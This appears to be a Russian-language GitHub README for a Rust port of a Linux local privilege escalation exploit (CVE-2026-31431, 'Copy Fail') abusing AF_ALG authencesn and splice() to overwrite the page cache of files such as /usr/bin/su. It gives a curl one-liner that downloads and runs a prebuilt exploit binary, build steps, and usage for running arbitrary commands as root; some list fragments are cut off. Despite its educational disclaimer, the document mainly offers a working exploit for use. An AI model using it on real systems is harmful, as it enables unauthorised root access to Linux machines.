
Копия эксплойта Fail (CVE-2026-31431), но на Rust.
Copy Fail эксплойт (CVE-2026-31431), но на Rust — критическая уязвимость, объединяющая AF_ALG и splice() для выполнения 4-байтовой записи в page cache, что приводит к локальному повышению привилегий на основных дистрибутивах Linux.
Основано на исследовании и PoC от Xint Code.
[!CAUTION] Этот проект предназначен только для образовательных и исследовательских целей. Запуск этого эксплойта на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным. Используйте этот код ответственно, чтобы понимать и защищаться от подобных уязвимостей.
AF_ALG и splice() ядра Linux через libc.Вы можете скачать и запустить предварительно скомпилированный бинарный файл PoC напрямую:
curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs
/usr/bin/su).Клонируйте репозиторий и соберите бинарный файл:
git clone https://github.com/sammwyy/copyfail-rs.git
cd copyfail-rs
cargo build --release
Запустите эксплойт без аргументов, чтобы по умолчанию использовать /bin/sh:
./target/release/copyfail-rs
Или укажите произвольную команду для выполнения с правами root:
./target/release/copyfail-rs "whoami > /tmp/pwned"
Эксплойт использует ошибку в реализации authencesn в Crypto API ядра Linux (AF_ALG). Объединяя sendmsg с MSG_MORE и splice(), можно перезаписывать небольшие фрагменты page cache для произвольных файлов (например, /usr/bin/su) вредоносной ELF-полезной нагрузкой.
AF_ALG и привязывается к authencesn(hmac(sha256),cbc(aes)).AF_ALG.